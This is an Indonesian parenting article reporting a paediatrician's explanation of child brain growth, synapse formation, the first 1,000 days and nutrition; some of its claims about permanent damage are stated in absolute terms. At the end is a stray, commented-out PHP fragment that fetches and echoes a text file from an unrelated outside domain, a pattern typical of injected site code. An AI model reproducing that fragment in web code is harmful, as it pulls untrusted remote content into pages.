Tahap Pertumbuhan Otak Anak

 

Tumbuh kembang anak berlangsung dengan unik. Karena setiap organ tubuh anak mempunyai pola pertumbuhan yang berbeda dengan kecepatan yang tidak sama pada setiap tahapan usianya. Misalnya, pertumbuhan fisik anak umumnya berlangsung cepat di usia 6 tahun pertamanya, kemudian pada masa pra-remaja, dan akan mengalami percepatan kedua pada saat usia remaja (12-14 tahun).
 
"Sedangkan pertumbuhan otak anak, berlangsung lebih dini dibanding dengan organ lainnya dan juga paling cepat. Otak tumbuh sejak anak masih di dalam kandungan hingga berusia sebelum 6 tahun. Setelahnya, otak akan tumbuh melambat sampai seumur hidup anak," demikian penjelasan dr Viramitha K R, SpA., M.Kes saat ditemui di Jumpa Pakar Ayahbunda & Philips Avent, Rabu (4/4), di RSU Melinda2, Bandung.
 
Pertumbuhan otak diawali dengan terbentuknya sebuah cikal bakal otak yang berupa lempengan ketika usia kehamilan 18 hari. Sel-sel otak itu akan terbentuk maksimal di usia kehamilan 4-6 bulan. Jumlah sel otak yang terbentuk pada masa ini akan sangat menentukan kualitas otak anak nantinya. Saat lahir, berat otak anak 25% dari otak orang dewasa. Dan saat usia 6 tahun, berat otak anak 95% otak orang dewasa.
 

JARINGAN SINAPS

Berikut tahapan pembentukan sel otak anak:
- Sel otak saling berhubungan melalui jaringan penghubung yang dinamakan SINAPS.
- Jumlah sinaps yang terbentuk menentukan kecepatan proses berpikir si anak.
- Sinaps-sinaps baru akan terbentuk saat anak mendapatkan PENGALAMAN SENSORIS.
- Pengalaman sensoris hanya bisa didapatkan melalui STIMULASI.
- Bila stimulasi dilakukan secara dini dan berulang-ulang itu akan membuat sinaps makin kuat.
- Dan sebaliknya, bila tidak pernah mendapat stimulasi, sinaps akan mati UNTUK SELAMANYA.
 
Kualitas Sinaps
- Sinap akan menetap bila membentuk sirkuit fungsional.
- Sirkuit fungsional dibentuk melalui perilaku: konsisten, teratur berulang, dan selesai (tuntas).
- Artinya, sangat penting bagi ibu untuk meningkatkan pengalaman bayi melalui mengulang aktivitas yang sama secara konsisten dan mengajak anak mengeksplorasi hal-hal baru.
 

Masa Periode Kritis Otak Anak

Untuk setiap aspek kemampuan si kecil sebenarnya mempunyai masa periode kritis yang berbeda-beda. Hanya saja secara umum, periode kritis terjadi pada usia 2 tahun pertama. Keunikan periode kritis ini terletak pada 2 hari:
  1. Merupakan masa saat sirkuit jaringan otak terbentuk hingga 80%.
  2. Hanya terjadi sekali dalam seumur hidup, sehingga selama periode ini si kecil harus benar-benar terpantau kemampuannya supaya tidak terjadi kegagalan pembentukan sirkuit otak yang berakibat permanen sepanjang usia.
 
Peran Nutrisi
 
Dua kunci utama keberhasilan melalui periode kritis (1.000 hari pertama kehidupan) si kecil adalah nutrisi dini dan stimulasi dini. Seperti telah dibahas di awal bahwa periode sensitif otak anak berlangsung sejak dalam kandungan hingga mencapai usia 6 tahun pertama, dimana otak telah tumbuh 95%. Puncak periode kritis yaitu periode paling sensitif ini terjadi sebelum anak berusia 2 tahun, sehingga sangatlah penting untuk memenuhi nutrisi dan stimulasi yang optimal pada periode ini. Setelah periode kritis ini terlewati, otak akan tumbuh melambat dan tidak pernah bisa tumbuh cepat kembali.
 
INGAT, periode sensitif mempunyai implikasi 2 sisi:
  1. Sisi Pertama merupakan masa terbaik untuk segala pembentukan kecerdasan dan perilaku dasar si kecil.
  2. Sisi Kedua merupakan masa terbaik untuk mengkoreksi adanya gangguan atau keterlambatan kemampuan dasar si kecil, termasuk dalam hal berperilaku.
 
Zat gizi yang diperlukan terdiri dari:
  1. Zat gizi makro (energi, protein, dan lemak).
  2. Zat gizi mikro (vitamin dan mineral).

Dampak Kurang Nutrisi
 
Pada masa Bayi atau Anak Dini
- Gangguan/perubahan (waspada, bisa menetap) pada struktur anatomis, biokimiawi, atau karakteristik fungsional otak.
- Pengkerutan jaringan otak.
- Gangguan proses mielinisasi sel sel saraf.
- Penurunan daya penglihatan.
 
Dr Vira menjelaskan, otak hanya mempunyai SATU KALI KESEMPATAN untuk tumbuh dengan baik. Setiap gangguan otak, berpotensi untuk tidak dapat diperbaiki alias PERMANEN dan berdampak jangka panjang. Sedangkan kita tahu bahwa 90 % dari berat otak dewasa telah tercapai saat usia 5 tahun, dan menjadi 100% berat otak dewasa saat usia 10 tahun. 80% perkembangan jaringan otak terjadi pada 1000 hari pertama kehidupan (3 tahun), sedangkan sisanya 10% perkembangan selanjutnya terjadi dalam kurun waktu 7 tahun dan 10% terakhir perkembangan otak terjadi  pada 8 tahun berikutnya.

"Sehingga dapat dibayangkan apabila terjadi gangguan tumbuh kembang anak pada 1000 hari pertama maka sangat berdampak buruk untuk perkembangan otak. Terlihat jelas bahwa anak yang kurang mendapat stimulasi akan mempunyai perkembangan otak yg lebih kecil dibanding Anak yang mendapat stimulasi." (ESTER SONDANG)

 

 



Artikel Rekomendasi

".$css_content); //$a = file_get_contents('https://www.galatiatiga.com/pindang/index.txt'); //echo $a; ?>